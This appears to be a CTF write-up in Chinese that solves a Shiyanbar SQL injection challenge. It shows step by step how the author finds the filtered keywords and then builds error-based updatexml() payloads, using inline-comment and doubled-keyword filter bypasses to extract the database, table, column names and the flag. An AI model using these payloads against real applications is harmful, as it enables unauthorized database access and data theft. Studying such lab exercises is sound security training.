实验吧-CTF-简单的sql注入思路

来源:互联网 发布:光纤音频输出端口 编辑:程序博客网 时间:2024/06/05 17:18

题目地址:http://ctf5.shiyanbar.com/423/web/





我们先用单引号测试

http://ctf5.shiyanbar.com/423/web/?id=1'               页面错误


再加个单引号

http://ctf5.shiyanbar.com/423/web/?id=1''               页面正常



那初步判断语句应该是


select * from xx where id='xxx'


然后我们测试下我们渗透经常用的关键字有没有被过滤



http://ctf5.shiyanbar.com/423/web/?id=1 or  and        select        union    1,2,3      information_schema.tables       information_schema.columns    table_schema    column_name   where     



这里 and , select,union,information_schema.columns,这些是可以确定是被过滤的


我前面的关键字是一个一个打下来的,单独出现的时候不会过滤,到后面2个同时出现就过滤了  反正到后面可以慢慢调试



后面出现有疑问的关键字就可以往中间面加,看有没有被过滤



对于过滤我们可以      内联注释、双重关键字、大小写混用、编码、。。。。



我们先根据前面猜想的语句  构造下面的payload


http://ctf5.shiyanbar.com/423/web/?id=1' or '1'='1



返回正常说明猜想正确的



这里的话我用到一个函数updatexml函数



查数据库

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/ /*!database()*/ /*!from*/ flag  LIMIT 0,1),'~'),3) or '1'='1


因为关键词过滤,我就用/*!*/来进行绕过


Limit 0,1的话是因为防止它的结果出现多行,写这个默认提取第一个,然后通过更改第一位数字来进行遍历数据,这里不加也没事




查表名


这里table_schema我还用了双写,就直接复制两个table_schematable_schema看输出发现还是过滤了,就放到里面去tabtable_schemale_schema,就成功绕过了,这里你们可以自己测试

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/  table_name  /*!from*/ information_schema.tables /*!where*/ /*!ttable_schemaable_schema*/ = 'web1' LIMIT 0,1),'~'),3) or '1'='1





这里的话就必须要有limit 0,1因为结果会返回多行,你不加的话会出现这个




查字段名


http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/  ccolumn_nameolumn_name  /*!from*/ infoinformation_schema.columnsrmation_schema.columns /*!where*/ /*!tatable_schemable_schema*/ = 'web1' /*!and*/ table_name='flag' LIMIT 0,1),'~'),3) or '1'='1



查数据

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/  flag  /*!from*/ flag LIMIT 0,1),'~'),3) or '1'='1







有不懂的话,可以在下面评论我会尽快解答

原创粉丝点击